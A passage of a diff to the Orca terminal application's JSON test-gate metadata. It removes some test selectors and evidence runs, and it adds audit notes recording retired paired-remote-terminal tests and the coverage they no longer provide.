selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Run one byte-identical six-terminal oracle against an isolated headed desktop host and an isolated headless `orca serve` host. Stage at least 1,000,000 xterm cells, hide all six warm managers, emit an initial working title followed by 30 timed real-PTY spinner frames and a final idle title per worktree, and observe a second real session-tabs subscription plus the production renderer store. Require exactly two transport envelopes and two title mutations per worktree, no decorative title crossing either boundary, and positive decoded-envelope bytes. Enable ordinary parking with the lossy retention budget disabled, require exactly one mounted manager and five parked tabs, at most 45% retained cells, no more than 16 MiB heap growth, and under 500 ms timer drift. In headed mode, require the host renderer to remain on its original workspace with zero target terminal managers mounted throughout client park, reveal, and live I/O. While a tab is parked, require authoritative terminal.read to observe new PTY output; reveal it and require the original PTY, a marker within the requested 5,000-row history, the parked marker, and post-reveal input/output. Drive 24 real PTY title trackers in distinct worktrees through 40 decorative spinner frames each, then 40 spinner frames alternating with Cursor's bare native identity redraw, using fake clocks. Require all 2,880 raw chunks exactly and zero host session-tabs publications, serialized bytes, renderer apply calls, and renderer store mutations. Continue decorative evidence beyond 30 minutes, require exactly one refresh per worktree per 15-minute lease through a FIFO spaced by at least 50 ms, and require all 24 viewer statuses to remain working and fresh; then require one exact semantic idle transition and one visible-output chunk per PTY. Require ordinary and interior-Braille title changes to publish. Drive 64 host PTYs through ten 80 ms synthetic title frames, require zero paired client events after the first frame per PTY while all 640 local frames remain observable, attach a late client and require one current frame per PTY, then require semantic bell and idle transitions on both clients. Reconstruct a legacy subscribed stream with no outputPause capability, hide a chatty pane, require no hidden xterm writes, reveal it, and require one authoritative snapshot plus continued live output. Drop and acknowledge output only for one original paired-client stream, prove the fixture process consumed input while the host model advanced and the client stayed stale, then require the command snapshot probe to replace that stream, repaint exact fixture output, preserve authoritative PTY identity and target-tab cardinality, and resume live I/O. For a client without a delivered sequence, require the first numeric probe to establish a baseline without replacement, a same-sequence probe to remain attached, and a later advanced probe to replace only that stream. Withhold the first encrypted shared-control ready frame, start one RPC, trigger a status-probe refresh, and require two connections, one host delivery, successful response, and zero retained request bytes. Admit 128 active streams, reject the 129th as retryable, release one stream, then require the retry to attach and publish a snapshot without multiplying retained subscribers. Disable terminal.paired-parking.v1 and require the same oracle to fail before parking, while the legacy limit-one fallback separately passes. Also preserve truncated first paint, ACK-starved same-PTY recovery, responsive silent-command snapshot probes, dead-stream probe timeout recovery, and queued manual-disconnect fencing.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts",
         "ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
@@ -8544,11 +8307,10 @@
         "ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-lifecycle/publication/mobile-session-tabs-agent-status-heartbeat.test.ts tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts --maxWorkers=1",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts --maxWorkers=1",
-        "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal-multiplex-snapshot-serialization.test.ts src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal-multiplex-snapshot-serialization.test.ts src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-tabs/runtime-inventory-publication-authority.test.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts --maxWorkers=1",
         "pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts",
         "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
         "ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1",
         "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1",
@@ -8578,15 +8340,12 @@
         "src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts",
         "src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts",
         "tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts",
-        "src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts",
         "src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts",
         "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts",
         "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts",
         "src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts",
         "src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts",
         "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts",
-        "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts",
-        "src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts",
         "src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts",
         "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts",
         "src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts",
@@ -8724,15 +8483,6 @@
             "keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot"
           ]
         },
-        {
-          "file": "src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts",
-          "assertions": [
-            "restarts only the stream whose renderer delivery credit never settles",
-            "keeps the oldest pending delivery deadline anchored while later frames settle",
-            "probes then restarts a stream when an entered command receives no frames",
-            "establishes a first-probe baseline and fences regressed snapshots before recovering an unsequenced stream"
-          ]
-        },
         {
           "file": "src/renderer/src/web/web-preload-api-runtime-environment.test.ts",
           "assertions": [
@@ -8882,26 +8632,6 @@
           "durationSeconds": 17.5,
           "summary": "The headed six-PTY oracle kept all warm-mounted hidden streams at zero renderer scheduler enqueues/drains under sustained output and under 500 ms timer lag, then restored the authoritative flood tail and parked/live markers exactly once.",
           "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1"
-        },
-        {
-          "date": "2026-11-04",
-          "runner": "local",
-          "platform": "linux",
-          "result": "passed",
-          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/renderer/src/components/terminal-pane/remote-runtime-pty-transport-unpublished-host-graph.test.ts --maxWorkers=2",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts",
-          "durationSeconds": 3.87,
-          "summary": "Test Files  1 passed (1); Tests  3 passed (3). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e."
-        },
-        {
-          "date": "2026-11-04",
-          "runner": "local",
-          "platform": "linux",
-          "result": "passed",
-          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/renderer/src/components/terminal-pane/remote-runtime-pty-transport-unpublished-host-graph.test.ts --maxWorkers=2",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts",
-          "durationSeconds": 3.79,
-          "summary": "Test Files  1 passed (1); Tests  3 passed (3). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head 415c9cffc2d10024131ec4b6721767a22195de6d."
         }
       ],
       "runtimeBudget": {
@@ -8928,6 +8658,9 @@
         "Keep the budget-off control, exact manager count, final bounded-tail flood marker, parked-time output, and post-reveal PTY input in both topology runs."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT65 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n        \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n        \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-lifecycle/publication/mobile-session-tabs-agent-status-heartbeat.test.ts tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts --maxWorkers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts --maxWorkers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal-multiplex-snapshot-serialization.test.ts src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-tabs/runtime-inventory-publication-authority.test.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts --maxWorkers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-parked-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n      ]\ntestFiles: [\n        \"src/main/runtime/session-lifecycle/publication/mobile-session-tabs-agent-status-heartbeat.test.ts\",\n        \"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts\",\n        \"src/main/runtime/construction/orca-runtime.test.ts\",\n        \"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\",\n        \"src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts\",\n        \"src/main/runtime/rpc/terminal-multiplex-initial-snapshot-buffering.test.ts\",\n        \"src/main/runtime/rpc/terminal-multiplex-snapshot-serialization.test.ts\",\n        \"src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts\",\n        \"src/main/runtime/rpc/terminal-subscribe-buffer.test.ts\",\n        \"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n        \"src/main/runtime/session-tabs/runtime-inventory-publication-authority.test.ts\",\n        \"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\n        \"src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts\",\n        \"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-worktree-retention.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts\",\n        \"src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts\",\n        \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\n        \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n        \"tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-stall-recovery.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts\",\n        \"tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-retention-memory.spec.ts\",\n        \"tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts\",\n        \"tests/e2e/terminal-parked-memory.spec.ts\",\n        \"tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\n        \"tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts\",\n        \"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n        \"tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts\",\n          \"assertions\": [\n            \"2,880 decorative spinner and bare-native real-PTY OSC chunks publish zero session-tabs snapshots or serialized bytes after semantic convergence\",\n            \"the viewer performs zero snapshot applies and zero store mutations during decorative activity\",\n            \"after 30 minutes, one globally spaced refresh per worktree keeps every mirrored working status fresh\",\n            \"exact Pi and rotating normalized Pi/Grok frames renew explicit and fallback status without changing stateStartedAt or acknowledgement semantics\",\n            \"matching title evidence renews retained OSC hook status without resetting stateStartedAt, then drops unverifiable prompt metadata after the hook row expires\",\n            \"renderer-authored rich status keeps its original lease, then renews only coarse title-confirmed state and provider identity\",\n            \"ordinary-shell title transitions replace working stateStartedAt with the completion transition time\",\n            \"decorative heartbeats remain blocked until unknown foreground ownership resolves, then resume at the bounded interval\",\n            \"tracked terminal state reset clears delayed foreground ownership markers\",\n            \"raw chunks, semantic idle transitions, and visible output remain exact\"\n          ]\n        },\n        {\n          \"file\": \"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n          \"assertions\": [\"retries an existing subscriber when provider inventory becomes ready\"]\n        },\n        {\n          \"file\": \"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\n          \"assertions\": [\n            \"creation and removal at the census release edge are subsumed once, and a delayed pre-boundary change is not replayed\",\n            \"post-boundary creation and removal replay after the initial snapshot in sequence order\",\n            \"create/remove/recreate transitions are preserved without collapse\",\n            \"a post-boundary projected-state change is delivered without a new snapshot revision\",\n            \"an older coalesced callback cannot overwrite a newer immediate change\",\n            \"initialization churn publishes only the latest projected state and repeated structural overflow fails after bounded recollection\",\n            \"disconnect aborts the census and removes the real runtime listener\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/session-tabs-empty-inventory-daemon-oracle.unit.test.ts\",\n          \"assertions\": [\n            \"unpublished empty inventory keeps resume dispatch at zero with the original daemon session, process id, and writer as the sole live writer\",\n            \"an authoritative empty inventory settles the mirror and releases exactly one resume dispatch with zero liveness probes\",\n            \"re-enabling unconditional empty hydration makes the identical oracle red with one resume dispatch, two session ids, two process ids, and two writer calls\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts\",\n          \"assertions\": [\n            \"preserves daemon PID and target PTY identity across the paired host relaunch\",\n            \"foregrounds the daemon-backgrounded target on its first post-relaunch remote observation\",\n            \"delivers target and post-relaunch control terminal input and live output\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts\",\n          \"assertions\": [\"replaces a stale paired stream when the PTY snapshot advanced\"]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-stall-recovery.spec.ts\",\n          \"assertions\": [\n            \"restarts one ACK-starved paired terminal stream without replacing its PTY\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts\",\n          \"assertions\": [\"recovers an ACK-starved stream from an isolated headless Orca host\"]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts\",\n          \"assertions\": [\n            \"a nonempty lossy initial snapshot paints exactly once on a paired client\",\n            \"the authoritative host cursor advances and live output resumes exactly once\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\n          \"assertions\": [\n            \"paints a paired remote terminal when only its retained text tail overflowed\",\n            \"legacy paired hosts retain the lossy hidden-manager budget fallback\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/paired-remote-terminal-retention-memory.spec.ts\",\n          \"assertions\": [\n            \"ordinary-parks paired terminals and restores authoritative host scrollback\",\n            \"warm-mounted hidden paired streams schedule zero renderer output work under sustained host output\",\n            \"six hidden real PTYs publish and apply only exact working and idle title transitions across paired transport\",\n            \"client recovery completes while every target terminal remains unmounted in the host renderer\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts\",\n          \"assertions\": [\n            \"ordinary-parks paired terminals against an isolated headless Orca host\",\n            \"cold-activates only visible paired terminals against an isolated headless host\",\n            \"the headless host bounds real-PTY decorative title transport and production store application\",\n            \"the headless host shares the zero-hidden-renderer-work and exact-restoration contract\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-parked-memory.spec.ts\",\n          \"assertions\": [\n            \"releases un-parkable hidden worktree buffers only once the retention budget engages\"\n          ]\n        },\n        {\n          \"file\": \"src/main/runtime/rpc/terminal-multiplex-pty-wait-capacity.test.ts\",\n          \"assertions\": [\n            \"admits 128 active streams, rejects the 129th, and reuses released capacity\",\n            \"reserves PTY wait capacity independently from active streams\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\n            \"pauses capable paired output while hidden and restores exactly on reveal\",\n            \"locally gates hidden paired output when a legacy host cannot pause it\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\n          \"assertions\": [\n            \"keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/web/web-preload-api-runtime-environment.test.ts\",\n          \"assertions\": [\n            \"keeps pairing while manual disconnect fences passive reconnects\",\n            \"returns a disconnect envelope when a queued active runtime call disconnects\",\n            \"returns a disconnect envelope when a queued selected environment call disconnects\"\n          ]\n        }\n      ]",
         "Audit3061 retires the park-model supplied snapshot suite and nominal mode, cursor, focus, geometry and remote resume metadata variants. Their distinct alarms are intentionally lost; six retained mode/remote cases preserve selected tail-order, authority and parse-readiness boundaries without equivalent replacement. Existing selectors and dated evidence retain their original scope. The ordinary paired-scroll-back alias was already absent before this batch and is removed as stale metadata, separately from the newly retired floating-pane example.",
         "Audit3053 reduces hidden-replay coverage by retiring nominal overlap, resize, cursor metadata and standalone stalled-restore variants. Timeout, overflow, identity/generation fences and retained live-output coordination remain; the removed alarms are intentionally lost without equivalent replacement. Existing commands, assertion references and dated evidence retain their original scope.",
         "Audit2145 accepts removal of canned runtime metadata/guard/forwarding, fake in-memory persistence, private work-count and wrapper-duplication tests from the construction/orca-runtime.test.ts aggregate, plus the two automation run-context guards from runtime-workspace-launch-contracts.test.ts. Retained race, framing, physical completion and ownership callbacks remain byte-identical. Existing commands remain valid selectors; historical receipts stay unchanged and provide no fresh validation or replacement coverage for the reduced suites.",
@@ -9023,7 +8756,21 @@
         "Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed.",
         "Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed.",
         "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired.",
-        "Terminal/runtime defining-owner cleanup retires complete parking timer, lifecycle, mocked close/disposal and render/flip/mount work-count cases under repository test policy. The retained watcher source has only two literal-oracle coverage decisions; the retained cold-parking hook source has only the layout-PTY exemption invalidation case. Lost alarms include cooldown/measure/pin wakeups, split exit/close attribution and cancellation, watcher disposal/restart, flood timer rearm, worktree verdict damping, and destroyed-transport cold restore. No equivalent replacement coverage or execution pass for the reduced cases is claimed; prior dated receipts retain their original scope."
